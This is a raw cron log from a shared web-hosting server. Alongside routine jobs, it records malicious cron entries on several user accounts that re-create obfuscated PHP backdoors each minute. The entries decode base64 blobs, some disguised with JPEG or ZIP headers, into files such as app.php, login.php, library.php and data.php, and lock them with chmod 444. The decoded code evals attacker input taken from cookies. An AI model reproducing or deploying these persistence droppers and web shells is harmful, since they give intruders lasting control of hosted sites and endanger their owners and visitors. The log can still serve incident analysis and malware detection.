Apr 19 07:06:02 medusa CROND[8813]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:06:02 medusa CROND[8817]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:06:02 medusa CROND[8818]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 07:06:02 medusa CROND[8821]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:06:02 medusa CROND[8820]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:06:02 medusa CROND[8824]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:06:02 medusa CROND[8826]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:06:02 medusa CROND[8827]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:06:02 medusa CROND[8835]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 07:07:01 medusa CROND[30894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:07:01 medusa CROND[30898]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:07:01 medusa CROND[30899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:07:01 medusa CROND[30901]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:07:01 medusa CROND[30900]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 07:07:01 medusa CROND[30902]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:07:01 medusa CROND[30905]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:07:01 medusa CROND[30906]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:07:01 medusa CROND[30904]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:07:01 medusa CROND[30907]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:07:01 medusa CROND[30908]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:07:01 medusa CROND[30909]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:08:01 medusa CROND[21732]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Apr 19 07:08:01 medusa CROND[21734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:08:01 medusa CROND[21733]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:08:01 medusa CROND[21735]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:08:01 medusa CROND[21737]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:08:01 medusa CROND[21740]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:08:01 medusa CROND[21742]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 07:08:01 medusa CROND[21748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:08:01 medusa CROND[21751]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:08:01 medusa CROND[21752]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:08:01 medusa CROND[21759]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
